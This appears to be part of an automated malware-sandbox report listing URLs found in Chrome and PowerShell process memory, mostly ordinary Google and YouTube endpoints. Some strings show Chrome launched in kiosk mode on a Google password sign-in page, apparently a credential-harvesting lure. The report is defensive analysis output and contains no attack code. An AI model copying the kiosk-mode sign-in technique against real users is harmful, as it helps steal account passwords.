Source: chrome.exe, 0000000A.00000003.2511739394.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4520207722.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002788201.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2386891656.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2387710755.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1725289873&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/
Source: chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js?
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://payments.google.com/payments/v4/js/integrator.js?7https://sandbox.google.com/payments/v4/js/
Source: chrome.exe, 0000000A.00000002.4519606155.00003FCC023C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true&authuser=0
Source: chrome.exe, 0000000A.00000002.4518852666.00003FCC02298000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sandbox.google.com/payments/v4/js/integrator.js
Source: chrome.exe, 0000000A.00000002.4518892847.00003FCC022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 0000000A.00000002.4519640603.00003FCC023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2#
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome/?p=blockedb
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/inapp/
Source: chrome.exe, 0000000A.00000002.4519640603.00003FCC023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 0000000A.00000002.4519640603.00003FCC023D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tasks.googleapis.com/nC
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tunnel-staging.googlezip.net/2
Source: chrome.exe, 0000000A.00000003.2346536497.00003FCC03510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2372200315.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://use.typekit.net
Source: chrome.exe, 0000000A.00000003.2346536497.00003FCC03510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2372200315.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://workspace.google.com/
Source: chrome.exe, 0000000A.00000003.2775115150.00003FCC03AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www-googleapis-staging.sandbox.google.com
Source: chrome.exe, 0000000A.00000002.4519237628.00003FCC02360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/3-0215-45af-87dc-538868000002
Source: chrome.exe, 0000000A.00000003.2772367012.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 0000000A.00000003.2772367012.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 0000000A.00000003.2772367012.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2454758567.00003FCC030CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chrome.exe, 0000000A.00000003.2347060438.00003FCC034DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2453387722.00003FCC038C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 0000000A.00000003.2295304940.00003FCC033C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/$
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/2(
Source: chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/accounts/OAuthLogin?issueuberauth=1
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/b
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chromesuggestionsJ
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chromesuggestionsJK
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/coacbE
Source: chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acyrze2y5dkzxp435424udqez5cq_467/lmelglejhemejgi
Source: chrome.exe, 0000000A.00000002.4518543938.00003FCC0223C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adn3tbb2pd3we3bgvlhz7kbeqlca_2024.9.30.1/kiabhab
Source: chrome.exe, 0000000A.00000002.4519006473.00003FCC022FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adpqvkfvmnkfl4g52htw6e7e2yzq_66/khaoiebndkojlmpp
Source: chrome.exe, 0000000A.00000002.4518543938.00003FCC0223C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adrga7eefaxjfdmmgfkiaxjg4yjq_2024.7.12.235938/ee
Source: chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/e6xlmsu5i2bokri3w4cyuhv4nq_2024.8.10.0/gonpemdgk
Source: chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/imoffpf67hel7kbknqflao2oo4_1.0.2738.0/neifaoindg
Source: chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/lgkfclqhsgvqufcyk4miftouou_9.51.0/gcmjkmgdlgnkkc
Source: chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/cleardot.gif
Source: chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/dot2.gif
Source: chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/x2.gif
Source: chrome.exe, 0000000A.00000003.2775115150.00003FCC03AD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en-US/chrome/blank.html
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/chat_load.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/load.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/tools/feedback/open.js
Source: chrome.exe, 0000000A.00000003.2775115150.00003FCC03AD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775298735.00003FCC03D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com
Source: chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4518219122.00003FCC02213000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chrome-content-suggestionsb
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/chromewebstore.readonly
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierra5-https://www.googleapis.com/auth/sierrasandbox6.https://www.g
Source: chrome.exe, 0000000A.00000003.2880520046.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2881132136.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2880850596.00003FCC03EEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2775003887.00003FCC037E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2774970281.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/sierrasandbox
Source: chrome.exe, 0000000A.00000003.2511739394.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4520207722.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002788201.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2386891656.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2387710755.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 0000000A.00000003.2511739394.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4520207722.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002788201.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2386891656.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2387710755.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 0000000A.00000003.2511739394.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4520207722.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002788201.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2386891656.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2387710755.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 0000000A.00000003.2511739394.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4520207722.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.3002788201.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2386891656.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2387710755.00003FCC025B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/destination
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 0000000A.00000002.4513098457.0000020C0B0F7000.00000002.00000001.00040000.0000002B.sdmp	String found in binary or memory: https://www.gstatic.com/
Source: chrome.exe, 0000000A.00000003.2358297327.00003FCC0371C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en._s1fC-CLCMs.es5.O
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en_US.3t3OrN2aQC0.es
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/_/mss/boq-one-google/_/
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/de/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/gb/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/global/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/duplex/stable-experiment/change_password_scripts.jsonb3
Source: chrome.exe, 0000000A.00000003.2253056913.0000713801070000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/android/translate_ranker_
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/ghelp/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/feedback/js/help/prod/service/lazy.min.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/api/main.min.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/chatsupport/chatsupport_button_v2.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/inproduct_help/service/lazy.min.js
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/
Source: chrome.exe, 0000000A.00000002.4519199941.00003FCC02348000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358387820.00003FCC0355C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2362415537.00003FCC0376C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358243438.00003FCC024B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4206040164.00003FCC039A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358297327.00003FCC0371C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/support/content/;report-uri
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/feedback/client/web/live/
Source: chrome.exe, 0000000A.00000003.4205958155.00003FCC0391C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/uservoice/surveys/resources/prod/js/survey/
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2254808906.0000713800820000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.jegs.com/webapp/wcs/stores/servlet/OrderItemDisplay
Source: chrome.exe, 0000000A.00000003.2243572361.0000713800A04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.privacysandbox.comb
Source: chrome.exe, 0000000A.00000002.4513098457.0000020C0B0F7000.00000002.00000001.00040000.0000002B.sdmp	String found in binary or memory: https://www.youtube.com/
Source: chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2Fpwd
Source: chrome.exe, 0000000A.00000003.2358149722.00003FCC034C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346939266.00003FCC02EC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2367595616.00003FCC03784000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358387820.00003FCC0355C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2362415537.00003FCC0376C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2358243438.00003FCC024B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2347060438.00003FCC034DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2FpwdX-
Source: chrome.exe, 0000000A.00000002.4510929381.0000020C08E83000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://www.youtube.com/account?=https%3A%2F%2Faccounts.google.com%2Fv3%2Fsignin%2Fchallenge%2FpwdYo
Source: chrome.exe, 0000000A.00000002.4518934007.00003FCC022DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd&feature=redirec
Source: chrome.exe, 0000000A.00000003.2358297327.00003FCC0371C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526n
Source: powershell.exe, 00000008.00000002.2238229966.0000000005253000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.LR
Source: chrome.exe, 0000000A.00000002.4519274085.00003FCC0236C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000A.00000002.4518817300.00003FCC0228C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: chrome.exe, 0000000A.00000003.2346703166.00003FCC02828000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: chrome.exe, 0000000A.00000002.4519237628.00003FCC02360000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd%2Fchallenge%2Fpwd3F
Source: chrome.exe, 0000000A.00000002.4516459899.00001F7C00238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--kiosk--user-data-d
Source: chrome.exe, 0000000A.00000002.4510929381.0000020C08E83000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdYouTube
